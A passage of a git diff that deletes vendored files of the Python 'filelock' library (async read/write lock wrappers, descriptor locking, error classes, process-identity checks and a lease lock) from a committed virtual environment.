"AcquireReturnProxy", - "BaseFileLock", - "CloseErrorPolicy", - "ContextErrorPolicy", - "FileLockContext", - "FileLockMeta", - "LockOptions", - "_append_exception_context", - "_canonical", - "_ensure_current_process", - "_fork_transition", - "_grouped_errors", - "_raise_body_and_release", - "_raise_chained_errors", - "_raise_cleanup_errors", - "_raise_grouped_errors", - "_register_fork_class", - "_register_fork_object", - "_register_owned_descriptor", - "_unregister_owned_descriptor", -] diff --git a/venv/Lib/site-packages/filelock/_async.py b/venv/Lib/site-packages/filelock/_async.py deleted file mode 100644 index 3848dbcc8f9623a129485e643e4c2173a96ff090..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_async.py +++ /dev/null @@ -1,173 +0,0 @@ -"""Separate caller cancellation from backend task and executor-future results.""" - -from __future__ import annotations - -import asyncio -import contextlib -import time -from concurrent.futures import Future as ConcurrentFuture -from dataclasses import dataclass -from threading import Lock -from typing import TYPE_CHECKING, Final, Generic, NoReturn, TypeVar, cast - -from ._api import _append_exception_context, _raise_chained_errors - -if TYPE_CHECKING: - from collections.abc import AsyncIterator, Awaitable, Callable - -_T = TypeVar("_T") - - -class _AsyncTransitionUnavailableError(Exception): - pass - - -@dataclass(frozen=True) -class _BackendOutcome(Generic[_T]): - value: _T | None = None - error: BaseException | None = None - - -class _AsyncTransitionGate: - def __init__(self) -> None: - self._tail_lock: Final[Lock] = Lock() - self._tail: ConcurrentFuture[None] | None = None - - @contextlib.asynccontextmanager - async def hold(self) -> AsyncIterator[None]: - ticket: ConcurrentFuture[None] = ConcurrentFuture() - with self._tail_lock: - predecessor = self._tail - self._tail = ticket - if predecessor is not None: - try: - await _wait_until_done(asyncio.wrap_future(predecessor)) - except asyncio.CancelledError: - predecessor.add_done_callback(lambda _predecessor: self._leave(ticket)) - raise - try: - yield - finally: - self._leave(ticket) - - @contextlib.asynccontextmanager - async def hold_for_acquire( - self, - *, - blocking: bool, - cancel_check: Callable[[], bool] | None, - deadline: float | None, - poll_interval: float, - ) -> AsyncIterator[None]: - ticket: ConcurrentFuture[None] = ConcurrentFuture() - with self._tail_lock: - predecessor = self._tail - self._tail = ticket - if predecessor is not None and not predecessor.done(): - try: - await self._wait_for_predecessor( - predecessor, - blocking=blocking, - cancel_check=cancel_check, - deadline=deadline, - poll_interval=poll_interval, - ) - except BaseException: - predecessor.add_done_callback(lambda _predecessor: self._leave(ticket)) - raise - try: - yield - finally: - self._leave(ticket) - - @staticmethod - async def _wait_for_predecessor( - predecessor: ConcurrentFuture[None], - *, - blocking: bool, - cancel_check: Callable[[], bool] | None, - deadline: float | None, - poll_interval: float, - ) -> None: - if not blocking: - raise _AsyncTransitionUnavailableError - waiter = asyncio.wrap_future(predecessor) - while not predecessor.done(): - if cancel_check is not None and cancel_check(): - raise _AsyncTransitionUnavailableError - if deadline is not None: - if (remaining := deadline - time.perf_counter()) <= 0: - raise _AsyncTransitionUnavailableError - wait_interval = min(poll_interval, remaining) if cancel_check is not None else remaining - else: - wait_interval = poll_interval if cancel_check is not None else None - await asyncio.wait((waiter,), timeout=wait_interval) - - def _leave(self, ticket: ConcurrentFuture[None]) -> None: - with self._tail_lock: - if self._tail is ticket: - self._tail = None - ticket.set_result(None) - - -async def _drain_future(future: asyncio.Future[_BackendOutcome[_T]]) -> _T: - while not future.done(): - with contextlib.suppress(asyncio.CancelledError): - await _wait_until_done(future) - return _future_result(future) - - -async def _wait_until_done(future: asyncio.Future[_T]) -> None: - if not future.done(): - await asyncio.wait((future,)) - - -def _future_result(future: asyncio.Future[_BackendOutcome[_T]]) -> _T: - outcome = future.result() - if (error := outcome.error) is None: - return cast("_T", outcome.value) - context = error.__context__ - try: - raise error # ruff:ignore[raise-within-try] # the handler restores context changed across the async boundary - except BaseException: - error.__context__ = context - raise - - -def _capture_call(func: Callable[[], _T]) -> _BackendOutcome[_T]: - try: - return _BackendOutcome(value=func()) - except BaseException as error: # ruff:ignore[blind-except] # backend control-flow exceptions are operation results - return _BackendOutcome(error=error) - - -def _raise_cancelled_error(cancellation: asyncio.CancelledError, error: BaseException) -> NoReturn: - # A reconciliation step failed while unwinding a cancellation, so keep both exception chains. Splice the error's - # existing context onto the cancellation, then make the cancellation the error's context, so both the failure and - # the cancellation that triggered it survive. Shared by the async wrappers so cancellations report the same way. - if (context := error.__context__) is not None and context is not cancellation: - if (cancellation_context := cancellation.__context__) is not None: - _append_exception_context(context, cancellation_context) - cancellation.__context__ = context - error.__context__ = cancellation - _raise_chained_errors(error) - - -async def _capture_awaitable(awaitable: Awaitable[_T]) -> _BackendOutcome[_T]: - try: - return _BackendOutcome(value=await awaitable) - except BaseException as error: # ruff:ignore[blind-except] # backend cancellation must remain distinct from caller cancellation - return _BackendOutcome(error=error) - - -__all__ = [ - "_AsyncTransitionGate", - "_AsyncTransitionUnavailableError", - "_BackendOutcome", - "_capture_awaitable", - "_capture_call", - "_drain_future", - "_future_result", - "_raise_cancelled_error", - "_wait_until_done", -] diff --git a/venv/Lib/site-packages/filelock/_async_read_write.py b/venv/Lib/site-packages/filelock/_async_read_write.py deleted file mode 100644 index 58ad40cb2a2ed24d1dd15545e12f0489bc6dfca0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_async_read_write.py +++ /dev/null @@ -1,338 +0,0 @@ -"""Async wrapper around :class:`ReadWriteLock` for use with ``asyncio``.""" - -from __future__ import annotations - -import asyncio -import functools -import os -import sqlite3 -from concurrent.futures import ThreadPoolExecutor -from contextlib import asynccontextmanager -from typing import TYPE_CHECKING, ParamSpec, TypeVar - -from ._api import ( - _append_exception_context, - _ensure_current_process, - _fork_transition, - _register_fork_object, -) -from ._async import ( - _BackendOutcome, - _capture_call, - _drain_future, - _future_result, - _raise_cancelled_error, - _wait_until_done, -) -from ._read_write import ReadWriteLock - -if TYPE_CHECKING: - from collections.abc import AsyncGenerator, Callable - from concurrent import futures - from types import TracebackType - - from ._api import AcquireReturnProxy - -_P = ParamSpec("_P") -_R = TypeVar("_R") - - -class AsyncReadWriteLock: - """ - Async wrapper around :class:`ReadWriteLock` for use in ``asyncio`` applications. - - This wrapper dispatches every blocking SQLite operation to a thread pool via ``loop.run_in_executor()`` because - Python's :mod:`sqlite3` module has no async API. It delegates reentrancy, upgrade/downgrade rules, and singleton - behavior to the underlying :class:`ReadWriteLock`. - - :param lock_file: path to the SQLite database file used as the lock - :param timeout: maximum wait time in seconds; ``-1`` means block indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately when the lock is unavailable - :param is_singleton: if ``True``, reuse existing :class:`ReadWriteLock` instances for the same resolved path - :param loop: event loop for ``run_in_executor``; ``None`` uses the running loop - :param executor: executor for ``run_in_executor``. When ``None`` this lock creates and owns a dedicated - single-thread executor so every operation runs on the same thread (SQLite affinity requires this) and shuts it - down in :meth:`close`. This lock uses a caller-supplied executor as-is and never shuts it down, so after passing - no executor call :meth:`close` to release the owned one. - - .. versionadded:: 3.21.0 - - """ - - def __init__( # ruff:ignore[too-many-arguments] # public constructor: one parameter per documented lock option - self, - lock_file: str | os.PathLike[str], - timeout: float = -1, - *, - blocking: bool = True, - is_singleton: bool = True, - loop: asyncio.AbstractEventLoop | None = None, - executor: futures.Executor | None = None, - ) -> None: - creator_pid = os.getpid() - self._creator_pid = creator_pid - self._fork_invalidated = False - self._closed = False - _register_fork_object(self) - with _fork_transition(): - self._lock = ReadWriteLock(lock_file, timeout, blocking=blocking, is_singleton=is_singleton) - self._loop = loop - self._owns_executor = executor is None - self._executor = executor or ThreadPoolExecutor(max_workers=1) - if os.getpid() != creator_pid: # pragma: forked child - msg = "AsyncReadWriteLock construction cannot continue after fork" - raise RuntimeError(msg) - - @property - def lock_file(self) -> str: - """The path to the lock file.""" - return self._lock.lock_file - - @property - def timeout(self) -> float: - """The default timeout.""" - return self._lock.timeout - - @property - def blocking(self) -> bool: - """Whether blocking is enabled by default.""" - return self._lock.blocking - - @property - def loop(self) -> asyncio.AbstractEventLoop | None: - """The event loop (or ``None`` for the running loop).""" - return self._loop - - @property - def executor(self) -> futures.Executor: - """The executor used for ``run_in_executor`` (a dedicated single-thread one if none was supplied).""" - return self._executor - - @asynccontextmanager - async def read_lock(self, timeout: float | None = None, *, blocking: bool | None = None) -> AsyncGenerator[None]: - """ - Async context manager that acquires and releases a shared read lock. - - Falls back to instance defaults for *timeout* and *blocking* when ``None``. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately; ``None`` uses the instance default - - """ - if timeout is None: - timeout = self._lock.timeout - if blocking is None: - blocking = self._lock.blocking - await self.acquire_read(timeout, blocking=blocking) - body_error: BaseException | None = None - try: - yield - except BaseException as error: - body_error = error - raise - finally: - await self._release_in_context(body_error) - - @asynccontextmanager - async def write_lock(self, timeout: float | None = None, *, blocking: bool | None = None) -> AsyncGenerator[None]: - """ - Async context manager that acquires and releases an exclusive write lock. - - Falls back to instance defaults for *timeout* and *blocking* when ``None``. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately; ``None`` uses the instance default - - """ - if timeout is None: - timeout = self._lock.timeout - if blocking is None: - blocking = self._lock.blocking - await self.acquire_write(timeout, blocking=blocking) - body_error: BaseException | None = None - try: - yield - except BaseException as error: - body_error = error - raise - finally: - await self._release_in_context(body_error) - - async def _release_in_context(self, body_error: BaseException | None) -> None: - try: - await self.release() - except BaseException as release_error: - if body_error is not None: - _append_exception_context(release_error, body_error) - raise - - async def acquire_read(self, timeout: float = -1, *, blocking: bool = True) -> AsyncAcquireReadWriteReturnProxy: - """ - Acquire a shared read lock. - - See :meth:`ReadWriteLock.acquire_read` for full semantics. - - :param timeout: maximum wait time in seconds; ``-1`` means block indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately when the lock is unavailable - - :returns: a proxy that can be used as an async context manager to release the lock - - :raises RuntimeError: if a write lock is already held on this instance - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - self._raise_if_unusable() - await self._run_acquire(functools.partial(self._lock.acquire_read, timeout, blocking=blocking)) - return AsyncAcquireReadWriteReturnProxy(lock=self) - - async def acquire_write(self, timeout: float = -1, *, blocking: bool = True) -> AsyncAcquireReadWriteReturnProxy: - """ - Acquire an exclusive write lock. - - See :meth:`ReadWriteLock.acquire_write` for full semantics. - - :param timeout: maximum wait time in seconds; ``-1`` means block indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately when the lock is unavailable - - :returns: a proxy that can be used as an async context manager to release the lock - - :raises RuntimeError: if a read lock is already held, or a write lock is held by a different thread - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - self._raise_if_unusable() - await self._run_acquire(functools.partial(self._lock.acquire_write, timeout, blocking=blocking)) - return AsyncAcquireReadWriteReturnProxy(lock=self) - - async def release(self, *, force: bool = False) -> None: - """ - Release one level of the current lock. - - See :meth:`ReadWriteLock.release` for full semantics. - - :param force: if ``True``, release the lock completely regardless of the current lock level - - :raises RuntimeError: if no lock is currently held and *force* is ``False`` - - """ - _ensure_current_process() - if self._inherited: # pragma: needs fork - return - await self._run(self._lock.release, force=force) - - async def close(self) -> None: - """ - Release the lock (if held) and close the underlying SQLite connection. - - After calling this method, the lock instance is no longer usable. - - """ - _ensure_current_process() - if self._inherited: # pragma: needs fork - return - if self._closed: - return - close_future = self._submit(self._lock.close) - try: - await _wait_until_done(close_future) - except asyncio.CancelledError as cancellation: - try: - await _drain_future(close_future) - except BaseException as error: # ruff:ignore[blind-except] # reported with the cancellation below - _raise_cancelled_error(cancellation, error) - self._closed = True - self._shutdown_owned_executor() - raise - _future_result(close_future) - self._closed = True - # Wait for the worker to exit rather than letting it drain in the background: a caller that forks right - # after closing deserves a single-threaded process, and os.fork warns about any surviving thread. - if self._owns_executor: - await asyncio.to_thread(functools.partial(self._executor.shutdown, wait=True)) - - async def _run_acquire(self, acquire: Callable[[], AcquireReturnProxy]) -> None: - acquire_future = self._submit(acquire) - try: - await _wait_until_done(acquire_future) - except asyncio.CancelledError as cancellation: - try: - await _drain_future(acquire_future) - except BaseException as error: # ruff:ignore[blind-except] # reported with the cancellation below - _raise_cancelled_error(cancellation, error) - try: - await _drain_future(self._submit(self._lock.release)) - except BaseException as error: # ruff:ignore[blind-except] # reported with the cancellation below - _raise_cancelled_error(cancellation, error) - raise - _future_result(acquire_future) - - async def _run(self, func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> _R: - future = self._submit(func, *args, **kwargs) - try: - await _wait_until_done(future) - except asyncio.CancelledError as cancellation: - try: - await _drain_future(future) - except BaseException as error: # ruff:ignore[blind-except] # reported with the cancellation below - _raise_cancelled_error(cancellation, error) - raise - return _future_result(future) - - def _submit( - self, func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs - ) -> asyncio.Future[_BackendOutcome[_R]]: - return (self._loop or asyncio.get_running_loop()).run_in_executor( - self._executor, - _capture_call, - functools.partial(func, *args, **kwargs), - ) - - def _shutdown_owned_executor(self) -> None: - if self._owns_executor: - self._executor.shutdown(wait=False) - - @property - def _inherited(self) -> bool: - return self._fork_invalidated or os.getpid() != self._creator_pid - - def _raise_if_unusable(self) -> None: - _ensure_current_process() - if self._inherited: # pragma: needs fork - msg = f"AsyncReadWriteLock on {self.lock_file} was invalidated by fork(); construct a new instance" - raise RuntimeError(msg) - if self._closed: - msg = "Cannot operate on a closed database." - raise sqlite3.ProgrammingError(msg) - - def _reset_after_fork_in_child(self) -> None: # pragma: forked child - self._fork_invalidated = True - - def __del__(self) -> None: - # Safety net when close() was never called: shut down the executor we own so its worker thread does not - # outlive the lock. shutdown(wait=False) never blocks. - if os.getpid() == getattr(self, "_creator_pid", None) and getattr(self, "_owns_executor", False): - self._executor.shutdown(wait=False) - - -class AsyncAcquireReadWriteReturnProxy: - """Context-aware object that releases the async read/write lock on exit.""" - - def __init__(self, lock: AsyncReadWriteLock) -> None: - self.lock = lock - - async def __aenter__(self) -> AsyncReadWriteLock: - return self.lock - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - await self.lock.release() - - -__all__ = [ - "AsyncAcquireReadWriteReturnProxy", - "AsyncReadWriteLock", -] diff --git a/venv/Lib/site-packages/filelock/_descriptor.py b/venv/Lib/site-packages/filelock/_descriptor.py deleted file mode 100644 index 7c9aa97101d7787cf8fc95df6160f8958fc76559..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_descriptor.py +++ /dev/null @@ -1,71 +0,0 @@ -"""A minimal native lock over a caller-owned file descriptor, contending with :class:`FileLock` on the same file.""" - -from __future__ import annotations - -import sys -import time -from math import isfinite -from typing import Final - -if sys.platform == "win32": # pragma: win32 cover - from ._windows import _lock_fd_nonblocking, _unlock_fd -else: # pragma: win32 no cover - from ._unix import _lock_fd_nonblocking, _unlock_fd - - -def lock_descriptor(fd: int, *, blocking: bool = True, poll_interval: float = 0.05) -> bool: - """ - Take the native OS lock on *fd*, a file descriptor the caller opened and owns. - - This is the same one-byte exclusive lock :class:`FileLock` uses, so a descriptor lock and a path lock on the same - file contend with each other. Unlike :class:`FileLock` it adds no path handling: it never opens, truncates, closes, - unlinks, chmods, canonicalizes, or falls back. The caller owns *fd* before, during, and after the call, and must - close it. On Windows *fd* must be a synchronous descriptor (its handle not opened with ``FILE_FLAG_OVERLAPPED``). - - For timeout, reentrancy, singleton, lifetime, or stale-break behavior, use :class:`FileLock`. There is no async - wrapper. Run this in an executor, or drive ``blocking=False`` from your own polling loop. - - :param fd: an open file descriptor the caller owns. - :param blocking: when ``True`` (default), retry the nonblocking attempt every *poll_interval* seconds until it - succeeds; when ``False``, make one attempt. - :param poll_interval: finite, positive seconds between attempts while blocking; ignored when *blocking* is - ``False``. - - :returns: ``True`` once the lock is held, or ``False`` on contention when ``blocking`` is ``False``. - - :raises OSError: for a permanent native failure, such as an invalid descriptor, or with ``errno.ENOSYS`` when the - Python build lacks the native locking primitive. The descriptor is left open. - :raises ValueError: if a blocking call receives a non-finite or non-positive *poll_interval*. - - .. versionadded:: 3.30.0 - - """ - if not blocking: - return _lock_fd_nonblocking(fd) - if not isfinite(poll_interval) or poll_interval <= 0: - msg: Final[str] = f"poll_interval must be finite and greater than 0, got {poll_interval}" - raise ValueError(msg) - while not _lock_fd_nonblocking(fd): - time.sleep(poll_interval) - return True - - -def unlock_descriptor(fd: int) -> None: - """ - Release the native OS lock on *fd* without touching the descriptor. - - :param fd: the descriptor a prior :func:`lock_descriptor` locked; the caller still owns and must close it. - - :raises OSError: if the native unlock fails, including ``errno.ENOSYS`` when the Python build lacks the native - locking primitive; the caller may retry on the same descriptor. - - .. versionadded:: 3.30.0 - - """ - _unlock_fd(fd) - - -__all__ = [ - "lock_descriptor", - "unlock_descriptor", -] diff --git a/venv/Lib/site-packages/filelock/_error.py b/venv/Lib/site-packages/filelock/_error.py deleted file mode 100644 index 6159b34e61a2932893acec0899173c2ee6f548da..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_error.py +++ /dev/null @@ -1,74 +0,0 @@ -from __future__ import annotations - - -class Timeout(TimeoutError): # ruff:ignore[error-suffix-on-exception-name] # public exception name; renaming breaks the API - """Raised when the lock could not be acquired in *timeout* seconds.""" - - def __init__(self, lock_file: str) -> None: - super().__init__() - self._lock_file = lock_file - - def __reduce__(self) -> tuple[type[Timeout], tuple[str]]: - # __init__ needs lock_file, so pickle must restore it as a constructor arg - return self.__class__, (self._lock_file,) - - def __str__(self) -> str: # pragma: needs hard-link - return f"The file lock '{self._lock_file}' could not be acquired." - - def __repr__(self) -> str: - return f"{self.__class__.__name__}({self.lock_file!r})" - - @property - def lock_file(self) -> str: - """The path of the file lock.""" - return self._lock_file - - -class SoftFileLockLifetimeWarning(DeprecationWarning): - """The configured soft-lock lifetime permits overlapping live holders after expiry.""" - - -class LeaseSettingsMismatch(ValueError): # ruff:ignore[error-suffix-on-exception-name] # public exception name; renaming breaks the API - """A lease contender disagrees with the published claim about how long the lease lasts.""" - - -class SoftFileLockProtocolError(OSError): - """Raised when strict soft-lock state cannot be interpreted without risking overlap.""" - - def __init__(self, lock_file: str, claim_name: str | None, reason: str) -> None: - self._lock_file = lock_file - self._claim_name = claim_name - self._reason = reason - super().__init__(self.__str__()) - - def __reduce__( - self, - ) -> tuple[type[SoftFileLockProtocolError], tuple[str, str | None, str]]: # pragma: needs hard-link - return self.__class__, (self._lock_file, self._claim_name, self._reason) - - def __str__(self) -> str: - location = self._lock_file if self._claim_name is None else f"{self._lock_file}: claim {self._claim_name!r}" - return f"Invalid strict soft-lock state at {location}: {self._reason}" - - @property - def lock_file(self) -> str: # pragma: needs hard-link - """The requested lock path.""" - return self._lock_file - - @property - def claim_name(self) -> str | None: # pragma: needs hard-link - """The claim that caused the error, if scanning identified one.""" - return self._claim_name - - @property - def reason(self) -> str: # pragma: needs hard-link - """The protocol validation failure.""" - return self._reason - - -__all__ = [ - "LeaseSettingsMismatch", - "SoftFileLockLifetimeWarning", - "SoftFileLockProtocolError", - "Timeout", -] diff --git a/venv/Lib/site-packages/filelock/_identity.py b/venv/Lib/site-packages/filelock/_identity.py deleted file mode 100644 index fe1b03d425a7f1f6d1af736a96a6a493082a4d49..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_identity.py +++ /dev/null @@ -1,177 +0,0 @@ -from __future__ import annotations - -import os -import socket -import sys -from errno import EPERM, ESRCH -from pathlib import Path -from typing import Final - - -def host_name() -> str: - """The hostname recorded alongside an owner, so a marker written on another machine is never probed here.""" - return socket.gethostname() - - -def owner_is_stale(pid: int, hostname: str, start_token: int | None) -> bool: - """ - Whether the recorded owner is provably gone, so reclaiming its marker cannot detach a live holder. - - Fail closed: return ``True`` only when this process can prove the exact recorded owner is dead. A marker from - another host cannot be probed; a live PID whose start token still matches, or whose token cannot be read, is the - holder or is indistinguishable from it; a live PID whose start token differs is a recycled PID, so the process that - wrote the marker is gone. PostgreSQL, Qt ``QLockFile`` and Mercurial all break a stale lock only on proof of death - and treat an unreadable or foreign owner as still holding. - """ - if hostname != host_name(): - return False - if not process_alive(pid): - return True - if start_token is None: - return False - current = process_start_token(pid) - return current is not None and current != start_token - - -if sys.platform == "win32": # pragma: win32 cover - import ctypes - from ctypes import wintypes - - _KERNEL32: Final[ctypes.WinDLL] = ctypes.WinDLL("kernel32", use_last_error=True) - _KERNEL32.CloseHandle.argtypes = [wintypes.HANDLE] - _KERNEL32.CloseHandle.restype = wintypes.BOOL - _KERNEL32.OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD] - _KERNEL32.OpenProcess.restype = wintypes.HANDLE - _KERNEL32.GetProcessTimes.argtypes = [ - wintypes.HANDLE, - ctypes.POINTER(wintypes.FILETIME), - ctypes.POINTER(wintypes.FILETIME), - ctypes.POINTER(wintypes.FILETIME), - ctypes.POINTER(wintypes.FILETIME), - ] - _KERNEL32.GetProcessTimes.restype = wintypes.BOOL - - _WIN_SYNCHRONIZE: Final[int] = 0x100000 - _WIN_PROCESS_QUERY_LIMITED_INFORMATION: Final[int] = 0x1000 - _WIN_ERROR_INVALID_PARAMETER: Final[int] = 87 - _WIN_INHERIT_HANDLE: Final[bool] = False - - def process_alive(pid: int) -> bool: - """Whether a process with this PID exists, treating an access denial as proof it does.""" - handle = _KERNEL32.OpenProcess(_WIN_SYNCHRONIZE, _WIN_INHERIT_HANDLE, pid) - if handle: - _KERNEL32.CloseHandle(handle) - return True - return ctypes.get_last_error() != _WIN_ERROR_INVALID_PARAMETER - - def process_start_token(pid: int) -> int | None: - """The process creation FILETIME as a 100ns tick count, or ``None`` when it cannot be read.""" - handle = _KERNEL32.OpenProcess(_WIN_PROCESS_QUERY_LIMITED_INFORMATION, _WIN_INHERIT_HANDLE, pid) - if not handle: - return None - creation, exit_time, kernel_time, user_time = (wintypes.FILETIME() for _ in range(4)) - try: - if not _KERNEL32.GetProcessTimes( - handle, - ctypes.byref(creation), - ctypes.byref(exit_time), - ctypes.byref(kernel_time), - ctypes.byref(user_time), - ): - return None # pragma: no cover # win32 GetProcessTimes failure path; not reproducible on a live handle - finally: - _KERNEL32.CloseHandle(handle) - return (creation.dwHighDateTime << 32) | creation.dwLowDateTime - -else: # pragma: win32 no cover - - def process_alive(pid: int) -> bool: - """Whether a process with this PID exists, treating an access denial (``EPERM``) as proof it does.""" - try: - os.kill(pid, 0) - except OSError as error: - if error.errno == ESRCH: - return False - if error.errno == EPERM: - return True - raise - return True - - if sys.platform in {"linux", "android"}: # pragma: linux cover - # Termux/Android reports sys.platform == "android" but runs the Linux kernel, so /proc//stat and the boot - # id are the same reliable start-time source; treat it exactly like Linux rather than the tokenless fallback. - # comm (field 2) is wrapped in parentheses and may itself contain spaces or a ')', so the fixed fields start - # after the final ')'. starttime is field 22 overall, the twentieth of those trailing fields (index 19). - _STARTTIME_INDEX: Final[int] = 19 - - def _read_boot_id() -> int: - # starttime is measured in clock ticks since boot, so on its own it repeats across a reboot. Folding the - # boot id into the high bits makes the Linux token reboot-safe like the absolute clocks macOS and Windows - # expose, while staying a single integer so a 3.29 reader still parses the third marker line. 0 when the - # kernel does not expose a boot id degrades to bare starttime, which stays safe (a reboot collision fails - # closed rather than reclaiming a live marker). - try: - boot_id = Path("/proc/sys/kernel/random/boot_id").read_text(encoding="ascii") - return int(boot_id.strip().replace("-", ""), 16) - except (OSError, ValueError): # pragma: no cover # the kernel always exposes boot_id as a UUID on Linux - return 0 - - _BOOT_ID: Final[int] = _read_boot_id() - - def process_start_token(pid: int) -> int | None: - """The ``/proc//stat`` ``starttime`` folded with the boot id, or ``None`` when the process is gone.""" - try: - data = Path(f"/proc/{pid}/stat").read_bytes() - except OSError: - return None - # psutil identifies a process by the same (pid, starttime) pair; the boot id extends that across reboots. - fields = data[data.rfind(b")") + 1 :].split() - if len(fields) <= _STARTTIME_INDEX: # pragma: no cover # a truncated /proc read, never seen in practice - return None - try: - starttime = int(fields[_STARTTIME_INDEX]) - except ValueError: # pragma: no cover # /proc always renders starttime as an integer - return None - return (_BOOT_ID << 64) | starttime - - elif sys.platform == "darwin": # pragma: darwin cover - import ctypes - import struct - - _LIBC: Final[ctypes.CDLL] = ctypes.CDLL(None, use_errno=True) - _CTL_KERN: Final[int] = 1 - _KERN_PROC: Final[int] = 14 - _KERN_PROC_PID: Final[int] = 1 - # kinfo_proc opens with kp_proc.p_starttime (a struct timeval) at offset 0: int64 seconds, int32 microseconds. - # The offset is fixed by the struct chain kinfo_proc -> extern_proc -> p_un, so a read at 0 is not a guess. - _TIMEVAL_AT_ZERO: Final[str] = " int | None: - """The process start time in microseconds from ``sysctl(KERN_PROC_PID)``, or ``None`` when it is gone.""" - mib = (ctypes.c_int * 4)(_CTL_KERN, _KERN_PROC, _KERN_PROC_PID, pid) - length = ctypes.c_size_t(0) - # The size probe reports the kinfo_proc size for any PID, so the read below, not the probe, tells a live - # process from a gone one: a gone PID leaves the fetch a zero-length success, so re-check the length after. - if _LIBC.sysctl(mib, 4, None, ctypes.byref(length), None, 0) != 0: - return None - buffer = (ctypes.c_char * length.value)() - if _LIBC.sysctl(mib, 4, buffer, ctypes.byref(length), None, 0) != 0 or length.value < _TIMEVAL_SIZE: - return None - seconds, microseconds = struct.unpack_from(_TIMEVAL_AT_ZERO, buffer.raw, 0) - return seconds * 1_000_000 + microseconds - - else: # pragma: no cover # a POSIX platform without a proven start-time source falls back to fail-closed liveness - - def process_start_token(pid: int) -> int | None: - """No proven start-time source, so the owner carries no token and liveness rests on the PID alone.""" - del pid - return None - - -__all__ = [ - "host_name", - "owner_is_stale", - "process_alive", - "process_start_token", -] diff --git a/venv/Lib/site-packages/filelock/_lease.py b/venv/Lib/site-packages/filelock/_lease.py deleted file mode 100644 index 16e15749416ccb544df3c0101555d68c0e64a967..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_lease.py +++ /dev/null @@ -1,334 +0,0 @@ -from __future__ import annotations - -import os -import secrets -import time -from contextlib import suppress -from dataclasses import dataclass -from threading import Event, Thread, current_thread, local -from typing import TYPE_CHECKING, Literal - -from ._error import LeaseSettingsMismatch -from ._identity import owner_is_stale -from ._marker import MarkerSoftFileLock, OwnerMode, OwnerRecord, parse_marker -from ._soft import _read_lock_file -from ._util import break_lock_file, touch - -if TYPE_CHECKING: - import sys - from collections.abc import Callable - - from ._api import LockOptions - - if sys.version_info >= (3, 11): # pragma: no cover (py311+) - from typing import Unpack - else: # pragma: no cover ( None: - self.claim = _LeaseClaim() - - -class _ThreadLocalLeaseClaimHolder(_LeaseClaimHolder, local): - """A thread local version of the ``_LeaseClaimHolder`` class.""" - - -class SoftFileLease(MarkerSoftFileLock): - """ - Existence lock whose claim expires, so a peer may take it while the previous holder still runs. - - A lease trades mutual exclusion for progress. The holder publishes a claim and refreshes it every - ``heartbeat_interval`` seconds; a contender takes the marker once it is ``lease_duration`` seconds stale. Nothing - stops the expired holder: it keeps running, and it keeps using whatever the lock protects. Treat the lease as a hint - about who *should* be working, not as a guarantee that only one worker is. - - To make a protected resource reject a superseded holder, that resource must be linearizable and must fence on a - monotonic generation it controls. :attr:`token` names a claim; it does not fence one. Where overlap is unacceptable, - use :class:`StrictSoftFileLock ` instead. - - Every contender for a path must agree on ``lease_duration``. A contender that finds a claim published under a - different duration raises :class:`LeaseSettingsMismatch ` rather than apply its own - expiry to a peer that never agreed to it. - - Expiry reclaims less on Windows, which refuses to rename or delete a file another process holds open. A peer there - takes an expired claim only once the previous holder's process exits and its handle closes; a holder that lives on - but stops refreshing keeps the marker. Unix reclaims the marker either way. - - ``on_compromise`` fires from the heartbeat thread when a refresh fails, or when the marker vanishes or names another - owner. The holder should stop touching the protected resource when it runs. Because it runs on that thread, a - ``release()`` inside it only takes effect when the lease was built with ``thread_local=False``; the default - thread-local context hides the claim from every thread but the one that acquired it, so the release does nothing. - Signal the acquiring thread instead when the context stays thread-local. - - .. versionadded:: 3.30.0 - - """ - - _owner_mode: OwnerMode = "lease" - - #: lease_duration replaces the legacy age-based lifetime, so accepting both would give one lock two expiry clocks. - _lifetime_supported: bool = False - _lifetime_unsupported_reason: str = "lease_duration sets when a lease expires" - - def __init__( - self, - lock_file: str | os.PathLike[str], - *, - lease_duration: float = 30.0, - heartbeat_interval: float | None = None, - on_compromise: Callable[[LeaseCompromise], None] | None = None, - **kwargs: Unpack[LockOptions], - ) -> None: - """ - Create a lease. - - :param lease_duration: seconds of marker staleness after which a contender may take the claim. Every contender - for the path must pass the same value. - :param heartbeat_interval: seconds between refreshes. Defaults to a third of ``lease_duration``, leaving room - for two missed refreshes before a peer may take the claim. Must be shorter than ``lease_duration``. - :param on_compromise: called from the heartbeat thread with a :class:`LeaseCompromise` when the claim is lost. - :param kwargs: every other :class:`BaseFileLock ` option, ``timeout`` and ``mode`` among - them. The metaclass passes them all by keyword, and taking them here lets - :class:`AsyncSoftFileLease ` add the async plumbing a fixed signature would - hide. - - """ - if lease_duration <= 0: - msg = f"lease_duration must be positive, got {lease_duration!r}" - raise ValueError(msg) - if heartbeat_interval is None: - heartbeat_interval = lease_duration / 3 - if not 0 < heartbeat_interval < lease_duration: - msg = f"heartbeat_interval must be positive and below lease_duration, got {heartbeat_interval!r}" - raise ValueError(msg) - super().__init__(lock_file, **kwargs) - self._lease_duration = lease_duration - self._heartbeat_interval = heartbeat_interval - self._on_compromise = on_compromise - # Sharing one claim across a thread-local lock lets a second thread's failed acquisition stop the heartbeat of - # the thread holding the lease, leaving its marker unrefreshed until a peer reclaims it. - self._claims: _LeaseClaimHolder = ( - 